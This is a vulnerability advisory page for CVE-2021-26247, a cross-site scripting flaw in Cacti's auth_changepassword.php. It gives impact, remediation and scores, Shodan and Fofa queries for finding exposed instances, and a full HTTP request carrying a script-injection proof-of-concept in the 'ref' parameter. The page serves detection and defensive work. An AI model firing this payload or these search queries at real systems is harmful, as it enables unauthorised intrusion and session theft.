🔙 목록으로 돌아가기

CVE-2021-26247: Cacti - Cross-Site Scripting

TitleCacti - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.43776
CVE IDCVE-2021-26247
CWE IDCWE-79
Shodan Queryhttp.title:"login to cacti"http.title:"cacti"http.favicon.hash:"-1797138069"
Fofa Queryicon_hash="-1797138069"title="cacti"title="login to cacti"
Tags cve cve2021 cacti xss vuln

🔍 Vulnerability Description

Cacti contains a cross-site scripting vulnerability via “http:///auth_changepassword.php?ref=" which can successfully execute the JavaScript payload present in the "ref" URL parameter.

🌐 HTTP Request

GET /auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26247.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26247.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A